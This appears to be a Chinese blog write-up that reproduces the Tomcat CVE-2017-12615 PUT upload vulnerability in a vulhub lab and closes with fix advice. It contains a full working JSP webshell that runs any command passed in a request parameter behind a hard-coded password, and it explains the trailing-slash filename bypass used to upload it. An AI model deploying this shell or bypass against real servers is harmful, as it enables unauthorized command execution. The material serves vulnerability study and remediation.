当前位置: 首页 > news >正文

CVE-2017-12615 Tomcat远程命令执行漏洞

漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

漏洞原理

org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当利用Windows特性绕过文件名检测机制时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件

影响版本

Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

漏洞复现

环境搭建

cd /vulhub/tomcat/CVE-2017-12615
docker-compose up -d

在这里插入图片描述

漏洞验证

原始数据包如下
在这里插入图片描述
将GET修改为PUT,并填写内容(这里解析没成功,改成了/1.jsp/)
在这里插入图片描述
进入容器,发现上传成功
在这里插入图片描述
若从浏览器访问返回Hello,则证明漏洞存在
在这里插入图片描述

漏洞利用

将exp写入jsp并上传

<%@ page language="java" contentType="text/html; charset=GBK"pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>一句话木马</title></head><body><%if ("admin".equals(request.getParameter("pwd"))) {java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");}%></body>
</html>

在这里插入图片描述
访问即可命令执行
在这里插入图片描述

修复建议

升级版本
开启readonly

http://www.lryc.cn/news/192155.html

相关文章:

  • 灿芯股份将上会:计划募资6亿元,董事长、总经理均为外籍
  • Spring Cloud Gateway 搭建网关
  • ETL数据转换方式有哪些
  • CVE-2017-15715 apache换行解析文件上传漏洞
  • 振弦采集仪应用水坝安全监测的方案
  • 【Java】查找jdk步骤
  • 【mysql】Mysql自定义变量 @rownum使用
  • 命令行启动android模拟器
  • Three.js如何计算3DObject的2D包围框?
  • 【LeetCode热题100】--347.前K个高频元素
  • 解决服务器80端口无法连接的办法
  • 040:mapboxGL鼠标hover更换选中feature颜色
  • 【C++心愿便利店】No.8---C++之重识类和对象
  • 【AI视野·今日NLP 自然语言处理论文速览 第五十二期】Wed, 11 Oct 2023
  • 优雅而高效的JavaScript——模板字面量
  • Python一步到位实现图像转PDF自动化处理详解
  • 基于IDEA集成环境---Nacos安装
  • 使用 puppeteer 加载 html 文件来运行 js 文件
  • Java 操作 Excel:生成数据、设置单元格样式、设置数据有效性(hutool)
  • YOLOv5算法改进(11)— 主干网络介绍(MobileNetV3、ShuffleNetV2和GhostNet)
  • ideal远程Debug部署在服务器上的服务详解
  • 基于SSM的校园音乐平台系统
  • 07_03文件系统怎么玩的
  • php实战案例记录(24)不要键名只保留值的算法
  • 【交付高质量,用户高增长】-用户增长质量保证方法论 | 京东云技术团队
  • LMI FocalSpec 3D线共焦传感器 使用笔记1
  • 四、RocketMQ发送普通消息、批量消息和延迟消息
  • idea自定义 postfix completion提高编码效率
  • 解锁学习电路设计的正确姿势!
  • 【Linux】 ps命令使用